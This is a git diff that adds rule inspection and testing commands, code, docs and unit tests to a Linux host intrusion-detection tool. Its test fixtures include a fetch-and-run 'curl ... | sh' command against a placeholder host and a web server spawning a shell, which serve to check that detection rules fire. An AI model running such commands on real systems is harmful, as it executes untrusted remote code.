diff --git a/CLAUDE.md b/CLAUDE.md index 3d8a0ef..8dd5b87 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -55,6 +55,8 @@ Implemented investigation/response state: - `respond plan ` builds read-only containment/recovery plans, persists CLI-generated plans under `response-plans/`, and appends `response-audit.log`. Dashboard/API plan previews do not write artifacts. +- `rules list/show/test` exposes built-in and configured event rules and lets + operators test exec/syscall event JSON fixtures against the rule engines. - IPS behavior is currently explicit workflow: posture hardening plus reviewed dry-run containment actions. There is no automatic inline blocking or silent host mutation yet. @@ -63,7 +65,7 @@ Near-term open work: - Audited `--apply` response execution with tests and rollback notes. - Baseline reconciliation for legitimate FIM/package/listener/SUID drift. -- Rule inspection/test commands and generated rule documentation. +- Generated rule documentation from source defaults and red-team drill mapping. - More event sources and correlation across exec, network, persistence, FIM, and rootcheck signals. - Stable schema compatibility tests for alerts, incidents, status, response @@ -137,6 +139,7 @@ python3 -m enodia_sentinel.cli rootcheck python3 -m enodia_sentinel.cli posture check --json python3 -m enodia_sentinel.cli incident list python3 -m enodia_sentinel.cli respond plan --json +python3 -m enodia_sentinel.cli rules list python3 -m enodia_sentinel.cli web ``` diff --git a/README.md b/README.md index 2ee0b59..f776aaf 100644 --- a/README.md +++ b/README.md @@ -97,6 +97,13 @@ coverage for RWX `mprotect`/`mmap` (`100060`/`100061`), `memfd_create` (`100062`), sensitive `ptrace` (`100063`), seccomp hardening (`100064`), cross-process memory access (`100065`), and memory locking (`100066`). Operators add custom exec rules via `exec_rules_file` without touching code. +They can inspect and test the active event rule set with: + +```bash +enodia-sentinel rules list +enodia-sentinel rules show 100002 +enodia-sentinel rules test event.json +``` The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the reason and the daemon runs poll-only — a broken probe can never take detection @@ -107,7 +114,7 @@ framing (and the queued FIM / hidden-process checks) from **OSSEC**. ``` enodia_sentinel/ -├── cli.py run / check / baseline / list-detectors +├── cli.py run / check / baseline / rules / list-detectors ├── daemon.py sweep loop · cooldown dedup · backgrounded SUID scan ├── system.py SystemState — one cached snapshot of /proc + ss per sweep ├── snapshot.py forensic text+JSON capture · response guidance · retention diff --git a/docs/COMMAND_REFERENCE.md b/docs/COMMAND_REFERENCE.md index 14d3300..3f4b496 100644 --- a/docs/COMMAND_REFERENCE.md +++ b/docs/COMMAND_REFERENCE.md @@ -65,6 +65,57 @@ enodia-sentinel list-detectors Prints the poll detectors and whether each is enabled by config. +### `rules` + +```bash +enodia-sentinel rules list +enodia-sentinel rules list --json +enodia-sentinel rules show +enodia-sentinel rules show --json +enodia-sentinel rules test +enodia-sentinel rules test --json +``` + +Inspects and tests event-driven detection rules without reading source code. +`rules list` includes built-in exec/syscall rules plus configured exec rules +from `exec_rules_file`. `rules show ` prints the rule metadata and match +conditions. `rules test ` loads an exec or syscall event JSON file, +runs the matching rule engine, and prints any alerts that would fire. Use `-` +instead of a path to read the event JSON from stdin. + +Exec event JSON shape: + +```json +{ + "pid": 42, + "ppid": 1, + "uid": 1000, + "parent_comm": "nginx", + "filename": "/bin/sh", + "argv": ["-c", "id"] +} +``` + +Syscall event JSON shape: + +```json +{ + "pid": 42, + "ppid": 1, + "uid": 1000, + "comm": "payload", + "syscall": "mprotect", + "args": [0, 4096, 6, 0, 0, 0] +} +``` + +Exit code: + +- `0`: list/show succeeded, or `rules test` matched at least one rule. +- `1`: unknown sid for `show`, or no rule matched for `test`. +- `2`: malformed sid, missing target, unreadable JSON, or unsupported event + shape. + ### `rootcheck` ```bash diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 05d268e..08d18c8 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -156,10 +156,10 @@ Exit criteria: Purpose: make detection coverage easier to audit, tune, and extend without turning Sentinel into a noisy rules dump. -- Add `enodia-sentinel rules list` and `rules show ` for built-in and +- ✅ Add `enodia-sentinel rules list` and `rules show ` for built-in and configured rules. -- Add `enodia-sentinel rules test ` so operators can validate custom - event rules against captured or fixture events. +- ✅ Add `enodia-sentinel rules test ` so operators can validate + custom event rules against captured or fixture events. - Generate rule documentation from source defaults: SID, signature, classtype, event type, match fields, expected false positives, and drill coverage. - Require a fixture or safe red-team drill for every built-in SID, including diff --git a/enodia_sentinel/cli.py b/enodia_sentinel/cli.py index cbd5f97..8c33f6d 100644 --- a/enodia_sentinel/cli.py +++ b/enodia_sentinel/cli.py @@ -61,6 +61,14 @@ def main(argv: list[str] | None = None) -> int: sub.add_parser("check", help="run detectors once and print alerts") sub.add_parser("baseline", help="rebuild listener/SUID baselines") sub.add_parser("list-detectors", help="list available detectors") + rules = sub.add_parser("rules", + help="list/show/test built-in and configured rules") + rules.add_argument("action", nargs="?", default="list", + choices=["list", "show", "test"], + help="rule action (default: list)") + rules.add_argument("target", nargs="?", + help="sid for show, event JSON path for test, or '-'") + rules.add_argument("--json", action="store_true", help="emit JSON") sub.add_parser("web", help="serve the read-only dashboard") sub.add_parser("triage", help="classify captured alerts as likely-FP vs review") sub.add_parser("fim-baseline", help="build the file-integrity baseline") @@ -112,6 +120,8 @@ def main(argv: list[str] | None = None) -> int: mark = "on " if cfg.enabled(det.name) else "off" print(f" [{mark}] {det.name}") return 0 + if args.cmd == "rules": + return _cmd_rules(cfg, args.action, args.target, args.json) if args.cmd == "baseline": return _cmd_baseline(cfg) if args.cmd == "check": @@ -154,6 +164,74 @@ def main(argv: list[str] | None = None) -> int: return _cmd_run(cfg) +def _cmd_rules(cfg: Config, action: str, target: str | None, + as_json: bool) -> int: + import json + + from . import ruleops + + if action == "list": + rules = ruleops.list_rules(cfg) + if as_json: + print(json.dumps(rules, indent=2)) + return 0 + print(f"{'SID':<7} {'EVENT':<8} {'ORIGIN':<10} {'SEV':<9} " + f"{'CLASSTYPE':<24} MESSAGE") + for r in rules: + print(f"{r['sid']:<7} {r['event']:<8} {r['origin']:<10} " + f"{r['severity']:<9} {r['classtype']:<24} {r['msg']}") + return 0 + + if action == "show": + if not target: + print("error: 'rules show' needs a sid", file=sys.stderr) + return 2 + try: + sid = int(target) + except ValueError: + print(f"error: invalid sid: {target}", file=sys.stderr) + return 2 + rule = ruleops.find_rule(cfg, sid) + if rule is None: + print(f"error: no such rule sid: {sid}", file=sys.stderr) + return 1 + if as_json: + print(json.dumps(rule, indent=2)) + return 0 + print(f"Rule {rule['sid']} [{rule['severity']}] {rule['signature']}") + print(f" event: {rule['event']}") + print(f" origin: {rule['origin']}") + print(f" classtype: {rule['classtype']}") + print(f" message: {rule['msg']}") + print(" conditions:") + for key, value in rule["conditions"].items(): + print(f" {key}: {value}") + return 0 + + if action == "test": + if not target: + print("error: 'rules test' needs an event JSON path or '-'", + file=sys.stderr) + return 2 + try: + alerts = ruleops.test_event(cfg, ruleops.load_event_json(target)) + except (OSError, ValueError, json.JSONDecodeError) as exc: + print(f"error: cannot test event: {exc}", file=sys.stderr) + return 2 + if as_json: + print(json.dumps([a.to_dict() for a in alerts], indent=2)) + return 0 if alerts else 1 + if not alerts: + print("No rules matched.") + return 1 + for a in alerts: + print(f"[{a.severity}] sid={a.sid} {a.signature} {a.detail}") + return 0 + + print(f"error: unsupported rules action: {action}", file=sys.stderr) + return 2 + + def _cmd_watchdog(cfg: Config, url: str, token: str, max_age: int, verify_tls: bool = True) -> int: from . import notify diff --git a/enodia_sentinel/ruleops.py b/enodia_sentinel/ruleops.py new file mode 100644 index 0000000..94bf30e --- /dev/null +++ b/enodia_sentinel/ruleops.py @@ -0,0 +1,145 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Operator-facing helpers for inspecting and testing detection rules.""" +from __future__ import annotations + +import json +from pathlib import Path +from typing import Any + +from .alert import Alert +from .config import Config +from .events.exec_event import ExecEvent +from .events.rules import DEFAULT_EXEC_RULES, ExecRule, ExecRuleEngine +from .events.syscall_event import SyscallEvent +from .events.syscall_rules import ( + DEFAULT_SYSCALL_RULES, + SyscallRule, + SyscallRuleEngine, +) + + +def list_rules(cfg: Config) -> list[dict[str, Any]]: + """Return built-in and configured event rules as stable dictionaries.""" + exec_builtin = {r.sid for r in DEFAULT_EXEC_RULES} + syscall_builtin = {r.sid for r in DEFAULT_SYSCALL_RULES} + records = [ + _exec_rule_record(r, "builtin" if r.sid in exec_builtin else "configured") + for r in ExecRuleEngine.load(cfg.exec_rules_file).rules + ] + records.extend( + _syscall_rule_record(r, "builtin" if r.sid in syscall_builtin else "configured") + for r in SyscallRuleEngine().rules + ) + return sorted(records, key=lambda r: (int(r["sid"]), str(r["event"]))) + + +def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None: + for record in list_rules(cfg): + if record["sid"] == sid: + return record + return None + + +def load_event_json(path: str) -> dict[str, Any]: + if path == "-": + import sys + return json.loads(sys.stdin.read()) + return json.loads(Path(path).read_text()) + + +def test_event(cfg: Config, event: dict[str, Any]) -> list[Alert]: + kind = _event_kind(event) + if kind == "exec": + return list(ExecRuleEngine.load(cfg.exec_rules_file).match(_exec_event(event))) + if kind == "syscall": + return list(SyscallRuleEngine().match(_syscall_event(event))) + raise ValueError("event JSON must be an exec or syscall event") + + +def _exec_rule_record(rule: ExecRule, origin: str) -> dict[str, Any]: + conditions: dict[str, Any] = {} + if rule.path_prefixes: + conditions["path_prefixes"] = list(rule.path_prefixes) + if rule.exec_comm: + conditions["exec_comm"] = sorted(rule.exec_comm) + if rule.parent_comm: + conditions["parent_comm"] = sorted(rule.parent_comm) + if rule.argv_regex: + conditions["argv_regex"] = rule.argv_regex + if rule.parent_exclude: + conditions["parent_exclude"] = sorted(rule.parent_exclude) + return { + "sid": rule.sid, + "event": "exec", + "origin": origin, + "severity": str(rule.severity), + "classtype": rule.classtype, + "signature": f"exec_rule.{rule.classtype}", + "msg": rule.msg, + "conditions": conditions, + } + + +def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]: + return { + "sid": rule.sid, + "event": "syscall", + "origin": origin, + "severity": str(rule.severity), + "classtype": rule.classtype, + "signature": f"syscall_rule.{rule.classtype}", + "msg": rule.msg, + "conditions": { + "syscalls": sorted(rule.syscalls), + "predicate": "built-in predicate", + }, + } + + +def _event_kind(event: dict[str, Any]) -> str: + explicit = str(event.get("event") or event.get("type") or "").lower() + if explicit in {"exec", "execve"}: + return "exec" + if explicit in {"syscall", "sys"}: + return "syscall" + if "filename" in event or "argv" in event or "parent_comm" in event: + return "exec" + if "syscall" in event or "args" in event: + return "syscall" + return "" + + +def _exec_event(event: dict[str, Any]) -> ExecEvent: + return ExecEvent( + pid=_to_int(event.get("pid", 0)), + ppid=_to_int(event.get("ppid", 0)), + uid=_to_int(event.get("uid", 0)), + parent_comm=str(event.get("parent_comm", "")), + filename=str(event.get("filename", "")), + argv=tuple(str(a) for a in event.get("argv", ())), + ) + + +def _syscall_event(event: dict[str, Any]) -> SyscallEvent: + args = list(event.get("args", ())) + args.extend([0] * (6 - len(args))) + return SyscallEvent( + pid=_to_int(event.get("pid", 0)), + ppid=_to_int(event.get("ppid", 0)), + uid=_to_int(event.get("uid", 0)), + comm=str(event.get("comm", "")), + syscall=str(event.get("syscall", "")), + arg0=_to_int(event.get("arg0", args[0])), + arg1=_to_int(event.get("arg1", args[1])), + arg2=_to_int(event.get("arg2", args[2])), + arg3=_to_int(event.get("arg3", args[3])), + arg4=_to_int(event.get("arg4", args[4])), + arg5=_to_int(event.get("arg5", args[5])), + text=str(event.get("text", "")), + ) + + +def _to_int(value: Any) -> int: + if isinstance(value, str): + return int(value, 0) + return int(value) diff --git a/tests/test_ruleops.py b/tests/test_ruleops.py new file mode 100644 index 0000000..8a8b188 --- /dev/null +++ b/tests/test_ruleops.py @@ -0,0 +1,128 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import io +import json +import os +import tempfile +import unittest +from contextlib import redirect_stdout +from pathlib import Path + +from enodia_sentinel import ruleops +from enodia_sentinel.cli import main +from enodia_sentinel.config import Config + + +class TestRuleOps(unittest.TestCase): + def test_lists_builtin_exec_and_syscall_rules(self): + rules = ruleops.list_rules(Config()) + sids = {r["sid"] for r in rules} + self.assertIn(100001, sids) + self.assertIn(100060, sids) + exec_rule = next(r for r in rules if r["sid"] == 100002) + self.assertEqual(exec_rule["event"], "exec") + self.assertIn("argv_regex", exec_rule["conditions"]) + + def test_configured_exec_rule_is_listed(self): + with tempfile.TemporaryDirectory() as d: + path = Path(d) / "rules.toml" + path.write_text(""" +[[exec_rules]] +sid = 199999 +msg = "test custom rule" +severity = "HIGH" +classtype = "custom-test" +exec_comm = ["id"] +""") + cfg = Config() + cfg.exec_rules_file = str(path) + rule = ruleops.find_rule(cfg, 199999) + self.assertIsNotNone(rule) + self.assertEqual(rule["origin"], "configured") + self.assertEqual(rule["conditions"]["exec_comm"], ["id"]) + + def test_matches_exec_event_json(self): + cfg = Config() + event = { + "pid": 42, + "ppid": 1, + "uid": 1000, + "parent_comm": "bash", + "filename": "/bin/sh", + "argv": ["-c", "curl http://example.invalid/x | sh"], + } + alerts = ruleops.test_event(cfg, event) + self.assertIn(100004, {a.sid for a in alerts}) + + def test_matches_syscall_event_json(self): + cfg = Config() + event = { + "pid": 42, + "ppid": 1, + "uid": 1000, + "comm": "payload", + "syscall": "mprotect", + "args": [0, 4096, "0x6", 0, 0, 0], + } + alerts = ruleops.test_event(cfg, event) + self.assertIn(100060, {a.sid for a in alerts}) + + +class TestRulesCli(unittest.TestCase): + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + os.environ["ENODIA_LOG_DIR"] = self.dir.name + self.tmp = Path(self.dir.name) + + def tearDown(self): + os.environ.pop("ENODIA_LOG_DIR", None) + self.dir.cleanup() + + def _run(self, *args): + buf = io.StringIO() + with redirect_stdout(buf): + code = main(["rules", *args]) + return code, buf.getvalue() + + def test_list_json(self): + code, out = self._run("list", "--json") + self.assertEqual(code, 0) + rules = json.loads(out) + self.assertIn(100001, {r["sid"] for r in rules}) + + def test_show_text(self): + code, out = self._run("show", "100060") + self.assertEqual(code, 0) + self.assertIn("Rule 100060", out) + self.assertIn("syscall", out) + + def test_test_event_file(self): + event = self.tmp / "event.json" + event.write_text(json.dumps({ + "pid": 42, + "ppid": 1, + "uid": 1000, + "parent_comm": "nginx", + "filename": "/bin/sh", + "argv": ["-c", "id"], + })) + code, out = self._run("test", str(event)) + self.assertEqual(code, 0) + self.assertIn("sid=100003", out) + + def test_test_no_match_is_exit_one(self): + event = self.tmp / "event.json" + event.write_text(json.dumps({ + "pid": 42, + "ppid": 1, + "uid": 1000, + "parent_comm": "bash", + "filename": "/usr/bin/true", + "argv": [], + })) + code, out = self._run("test", str(event)) + self.assertEqual(code, 1) + self.assertIn("No rules matched", out) + + +if __name__ == "__main__": + unittest.main()